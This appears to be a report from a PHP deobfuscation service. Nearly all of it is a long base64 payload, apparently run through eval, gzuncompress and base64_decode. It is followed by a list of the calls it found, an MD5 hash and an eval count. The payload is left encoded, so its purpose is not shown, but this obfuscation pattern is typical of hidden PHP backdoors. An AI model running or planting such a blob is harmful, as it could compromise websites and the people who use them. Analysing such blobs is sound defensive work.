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
')));

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 fb9aa77d0d61aaa6e5bd09ea4b2c5bba
Eval Count 1
Decode Time 157 ms